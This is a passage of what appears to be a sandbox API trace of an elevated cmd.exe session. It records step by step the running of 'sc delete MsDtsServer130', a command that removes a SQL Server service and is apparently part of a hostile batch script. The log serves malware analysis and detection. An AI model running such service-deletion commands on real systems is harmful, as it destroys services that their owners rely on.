(HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0064.771] GetProcessHeap () returned 0x1b0000 [0064.771] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3e) returned 0x1caa40 [0064.771] GetConsoleOutputCP () returned 0x1b5 [0064.771] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0064.771] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.772] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.772] GetProcessHeap () returned 0x1b0000 [0064.772] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0064.772] GetProcessHeap () returned 0x1b0000 [0064.772] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x44) returned 0x1caa90 [0064.772] GetProcessHeap () returned 0x1b0000 [0064.772] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc530 [0064.772] SetErrorMode (uMode=0x0) returned 0x1 [0064.772] SetErrorMode (uMode=0x1) returned 0x0 [0064.772] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc540, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0064.772] SetErrorMode (uMode=0x1) returned 0x1 [0064.772] GetProcessHeap () returned 0x1b0000 [0064.772] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc530, Size=0x62) returned 0x1cc530 [0064.772] GetProcessHeap () returned 0x1b0000 [0064.773] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc530) returned 0x62 [0064.773] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0064.773] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0064.773] GetProcessHeap () returned 0x1b0000 [0064.773] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0064.773] GetProcessHeap () returned 0x1b0000 [0064.773] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0064.773] GetProcessHeap () returned 0x1b0000 [0064.773] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0064.773] GetProcessHeap () returned 0x1b0000 [0064.773] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0064.773] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0064.773] GetProcessHeap () returned 0x1b0000 [0064.773] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0064.773] GetProcessHeap () returned 0x1b0000 [0064.773] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0064.773] GetProcessHeap () returned 0x1b0000 [0064.773] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0064.773] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.773] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.774] GetLastError () returned 0x2 [0064.774] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.774] GetLastError () returned 0x2 [0064.774] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.774] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0064.774] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0064.774] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.775] GetLastError () returned 0x2 [0064.775] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0064.775] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0064.775] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0064.775] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0064.775] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.775] GetProcessHeap () returned 0x1b0000 [0064.775] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0064.775] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.775] GetProcessHeap () returned 0x1b0000 [0064.775] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xaa) returned 0x1c9180 [0064.775] GetProcessHeap () returned 0x1b0000 [0064.775] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xaa [0064.775] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MsDtsServer130") returned 1 [0064.776] GetProcessHeap () returned 0x1b0000 [0064.776] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0064.776] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0064.776] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0064.776] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0064.776] GetProcessHeap () returned 0x1b0000 [0064.776] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0064.776] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0064.776] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0064.776] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0064.776] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0064.776] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.776] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0064.777] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0064.778] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0064.778] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0064.778] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0064.778] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.778] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.778] GetProcessHeap () returned 0x1b0000 [0064.778] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0064.778] GetProcessHeap () returned 0x1b0000 [0064.778] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0064.778] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MsDtsServer130", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MsDtsServer130", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete MsDtsServer130", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x9c8, dwThreadId=0x9d8)) returned 1 [0064.782] CloseHandle (hObject=0x54) returned 1 [0064.782] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0064.782] GetProcessHeap () returned 0x1b0000 [0064.782] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0064.782] GetEnvironmentStringsW () returned 0x1cba10* [0064.782] GetProcessHeap () returned 0x1b0000 [0064.782] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0064.782] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0064.782] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0064.783] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd5000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0064.783] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0064.947] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0064.947] CloseHandle (hObject=0x50) returned 1 [0064.948] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0064.948] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0064.948] GetProcessHeap () returned 0x1b0000 [0064.948] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0064.948] GetEnvironmentStringsW () returned 0x1d1b10* [0064.948] GetProcessHeap () returned 0x1b0000 [0064.948] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0064.948] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0064.948] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0064.948] GetProcessHeap () returned 0x1b0000 [0064.948] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0064.948] GetEnvironmentStringsW () returned 0x1cba10* [0064.948] GetProcessHeap () returned 0x1b0000 [0064.948] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0064.948] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0064.948] GetProcessHeap () returned 0x1b0000 [0064.948] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0064.948] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0064.948] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0064.949] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.949] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0064.949] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.949] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0064.949] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.949] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0064.949] GetConsoleOutputCP () returned 0x1b5 [0064.949] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0064.949] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.950] GetProcessHeap () returned 0x1b0000 [0064.950] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0064.950] GetProcessHeap () returned 0x1b0000 [0064.950] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0064.950] GetProcessHeap () returned 0x1b0000 [0064.950] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0064.950] GetProcessHeap () returned 0x1b0000 [0064.950] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc530 | out: hHeap=0x1b0000) returned 1 [0064.950] GetProcessHeap () returned 0x1b0000 [0064.950] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa90 | out: hHeap=0x1b0000) returned 1 [0064.950] GetProcessHeap () returned 0x1b0000 [0064.950] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0064.950] GetProcessHeap () returned 0x1b0000 [0064.950] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0064.950] GetProcessHeap () returned 0x1b0000 [0064.950] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0064.950] GetProcessHeap () returned 0x1b0000 [0064.950] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0064.950] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0064.950] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.950] GetFileType (hFile=0x120) returned 0x3 [0064.950] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0064.950] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0064.950] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0064.950] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0064.950] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0064.951] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0064.951] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.951] GetFileType (hFile=0x120) returned 0x3 [0064.951] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0064.951] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0064.951] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.951] GetFileType (hFile=0xb8) returned 0x3 [0064.951] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.951] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.951] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.951] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete MsDtsServer130\n\nce\n") returned 1 [0064.951] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.951] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.951] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.952] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete MsDtsServer130\n\nce\n") returned 1 [0064.952] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.952] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.952] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.952] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete MsDtsServer130\n\nce\n") returned 1 [0064.952] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.952] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.952] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.952] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete MsDtsServer130\n\nce\n") returned 1 [0064.952] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.952] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.952] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.952] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete MsDtsServer130\n\nce\n") returned 1 [0064.952] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.952] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.952] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.952] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete MsDtsServer130\n\nce\n") returned 1 [0064.952] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.952] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.952] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.952] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete MsDtsServer130\n\nce\n") returned 1 [0064.952] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.952] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.952] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.952] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te MsDtsServer130\n\nce\n") returned 1 [0064.952] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.953] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.953] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e MsDtsServer130\n\nce\n") returned 1 [0064.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.953] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.953] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, 